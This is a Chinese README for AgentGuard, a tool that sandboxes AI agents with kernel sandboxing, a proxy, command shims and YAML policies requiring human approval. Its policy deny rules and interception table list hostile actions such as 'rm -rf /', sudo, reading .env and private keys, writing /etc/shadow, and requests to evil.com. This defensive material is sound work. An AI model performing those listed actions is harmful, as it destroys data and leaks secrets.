面向自主AI代理的零信任沙箱。
AgentGuard 可以用安全护盾包裹任何 AI 代理(LangChain、CrewAI、AutoGen、自定义脚本)。只需改变一个命令:
# 之前(危险——代理具有完全系统权限)
python my_agent.py
# 之后(沙箱化)
agentguard run -- python my_agent.py
AgentGuard 拦截代理发出的每条 shell 命令、文件修改和网络请求。安全操作自动放行,危险操作自动拦截,其余操作则提示人类审批。
AgentGuard 有四层防御层协同工作:
┌─────────────────────────────────────────────────────────────┐
│ Layer 0: 文件系统沙箱 (macOS 上的 sandbox-exec) │
│ 内核级强制。在系统调用层面限制文件写入和网络。 │
│ 代理无法从用户空间绕过。阻止 Python 的 open()、 │
│ requests.post() 等。 │
├─────────────────────────────────────────────────────────────┤
│ Layer 1: 网络代理 │
│ 透明 HTTP/HTTPS 代理。代理发出的每个网络调用都会根据 │
│ 策略进行检查。在 TUI 中可完全查看每个目标的允许/拒绝。 │
├─────────────────────────────────────────────────────────────┤
│ Layer 2: PATH 垫片 │
│ 拦截 git、pip、curl、rm 等命令的 Shell 脚本垫片。 │
│ 每个垫片在运行真实二进制之前向守护进程请求权限。 │
├─────────────────────────────────────────────────────────────┤
│ Layer 3: 策略引擎 + 审批守护进程 │
│ 基于 YAML 的规则评估每个被拦截的操作。 │
│ 自动允许安全命令,自动阻止危险命令, │
│ 其余操作提示人类。 │
└─────────────────────────────────────────────────────────────┘
没有单层是安全边界。它们协同工作——纵深防御。
go build -o agentguard ./cmd/agentguard/
go build -o agentguard-check ./cmd/agentguard-check/
两个二进制文件必须在同一目录中。
agentguard init
这会在当前目录中创建 .agentguard/policy.yaml。根据需求编辑它。
agentguard run -- python my_agent.py
TUI 接管终端并显示:
对于需要终端的交互式工具(如 Claude Code):
agentguard run --headless -- claude
代理直接获得终端。AgentGuard 在后台静默运行。所有事件记录到 ~/.agentguard/logs/headless.log。在另一个终端中监控:
tail -f ~/.agentguard/logs/headless.log
agentguard run [flags] -- <command> [args...]
--policy <path> 使用特定的策略文件
--headless 无 TUI——代理获得终端
--default-allow 在无头模式下自动允许 PROMPT 决策(默认:自动拒绝)
--no-sandbox 禁用 sandbox-exec(垫片和代理仍激活)
agentguard init 创建默认策略文件
agentguard version 打印版本
策略是定义代理能做什么和不能做什么的 YAML 文件。AgentGuard 按顺序检查三个位置:
./.agentguard/policy.yaml(项目本地)~/.agentguard/policy.yaml(用户全局)version: 1
deny:
# Block dangerous commands
- command: "rm"
args: "-rf *"
reason: "Recursive forced deletion is too dangerous"
- command: "sudo"
args: "*"
reason: "Privilege escalation is not allowed"
- command: "chmod"
args: "777 *"
reason: "World-writable permissions are dangerous"
# Block reading sensitive files (enforced by sandbox-exec)
- file:
path: "*.env"
action: "read"
reason: "Don't let agent read .env files"
- file:
path: "*.pem"
action: "read"
reason: "Don't let agent read private keys"
allow:
# Safe read-only commands
- command: "ls"
- command: "cat"
- command: "pwd"
- command: "echo"
- command: "grep"
- command: "head"
- command: "tail"
- command: "wc"
# Read-only git
- command: "git"
args: "status"
- command: "git"
args: "log *"
- command: "git"
args: "diff *"
# Allow writes to workspace
- file:
path: "/tmp/workspace/**"
action: "write"
# Allow specific API endpoints
- network:
destination: "api.anthropic.com:443"
- network:
destination: "api.github.com:443"
deny network *)— 第三检查。充当默认拒绝。命令规则 — 按名称和参数模式匹配 shell 命令:
- command: "git"
args: "push *"
reason: "Pushing requires approval"
文件规则 — 匹配文件操作(由 sandbox-exec 强制):
- file:
path: "*.env"
action: "read" # "read" or "write"
reason: "Protect secrets"
网络规则 — 匹配网络目标(由代理 + sandbox-exec 强制):
- network:
destination: "api.anthropic.com:443"
在命令参数、文件路径和网络目标中使用 * 作为通配符。
agentguard/
├── cmd/
│ ├── agentguard/ # 主 CLI 二进制
│ └── agentguard-check/ # 垫片辅助二进制
├── internal/
│ ├── policy/ # 策略引擎(YAML 解析、规则评估)
│ ├── events/ # 事件系统(JSONL 审计日志、发布/订阅)
│ ├── daemon/ # 中心守护进程(Unix 套接字、审批队列)
│ │ └── client/ # 垫片的客户端库
│ ├── shim/ # 垫片生成器(基于 PATH 的拦截)
│ ├── proxy/ # 透明网络代理
│ ├── spawner/ # 编排 + macOS 沙箱集成
│ └── ui/tui/ # 终端 UI(Bubble Tea)
├── configs/
│ └── default_policy.yaml # 参考策略文件
├── .gitignore
├── go.mod
├── LICENSE
└── README.md
每个被拦截的操作都记录到 ~/.agentguard/logs/YYYY-MM-DD.jsonl:
{"id":"a1b2c3","timestamp":"2026-03-22T14:30:00Z","session_id":"abc123","source":"shim","command":"git","args":["push","origin","main"],"decision":"deny","decided_by":"human","response_time_ms":3200}
{"id":"d4e5f6","timestamp":"2026-03-22T14:30:01Z","session_id":"abc123","source":"proxy","network_dst":"api.anthropic.com:443","decision":"allow","decided_by":"policy"}
使用标准工具查询:
# 今天所有被拒绝的操作
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decision == "deny")'
# 所有网络请求
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.source == "proxy")'
# 需要人类审批的命令
cat ~/.agentguard/logs/2026-03-22.jsonl | jq 'select(.decided_by == "human")'
威胁模型: 代理不可信。它可能试图:
rm -rf /、sudo).env、私钥)AgentGuard 阻止的内容:
.env、.pem 等)被拒绝filepath.Clean 防止AgentGuard 不阻止的内容(已知限制):
ctypes/cffi 的原始系统调用(macOS 上的 sandbox-exec 也会阻止这些)api.anthropic.com,代理可以将数据发送到那里)go test ./... -race
该项目有 140+ 个测试,覆盖:
jail_darwin.go — macOS sandbox-exec(仅在 macOS 上编译)jail_noop.go — 仅垫片的后备模式(在 Linux/Windows 上编译)sandbox_monitor_darwin.go — macOS 系统日志跟踪沙箱违规sandbox_monitor_noop.go — 在非 macOS 平台上无操作参见 LICENSE。
| 按键 | 操作 | 时机 |
|---|
Y | 允许待处理请求 | 审批提示可见时 |
N | 拒绝待处理请求 | 审批提示可见时 |
A | 允许并记住此会话(“始终允许”) | 审批提示可见时 |
B | 拒绝并记住此会话(“永远阻止”) | 审批提示可见时 |
Tab | 切换代理标准输出/标准错误面板 | 总是 |
↑/↓ | 滚动活动流 | 总是 |
Q | 退出(杀死代理) | 总是 |
| 代理操作 | 垫片 | 代理 | sandbox-exec |
|---|
subprocess.run(["rm", "-rf", "/"]) | Yes | - | - |
subprocess.run(["git", "push"]) | Yes | - | - |
requests.post("https://evil.com") | - | Yes | Yes |
urllib.request.urlopen("https://api.com") | - | Yes | Yes |
open(".env", "r") | - | - | Yes |
open("/etc/shadow", "w") | - | - | Yes |
/usr/bin/curl https://evil.com(绝对路径) | - | Yes | Yes |
| 组件 | 包 | 目的 |
|---|
| 策略引擎 | internal/policy | 解析 YAML 规则,评估请求 → ALLOW / DENY / PROMPT |
| 事件系统 | internal/events | 仅追加的 JSONL 审计日志 + 用于 TUI 的实时发布/订阅 |
| 守护进程 | internal/daemon | Unix 套接字服务器、带超时的审批队列、会话管理 |
| TUI | internal/ui/tui | Bubble Tea 终端 UI,带活动流和审批模态框 |
| 垫片生成器 | internal/shim | 生成 shell 脚本垫片,解析真实二进制路径 |
| 网络代理 | internal/proxy | 透明 HTTP/HTTPS 代理,强制执行按目标策略 |
| 生成器 | internal/spawner | 编排一切:策略 → 守护进程 → 垫片 → 代理 → 沙箱 → 代理 → TUI |
| macOS 沙箱 | internal/spawner/jail_darwin.go | 使用 Seatbelt 配置文件的 sandbox-exec,实现内核级强制 |
| 平台 | 垫片 | 代理 | sandbox-exec | 文件读取拒绝 |
|---|
| macOS(Apple Silicon) | Yes | Yes | Yes | Yes |
| macOS(Intel) | Yes | Yes | Yes | Yes |
| Linux | Yes | Yes | No(未来:命名空间 + seccomp) | No |
| Windows | Yes | Yes | No(未来:Job Objects) | No |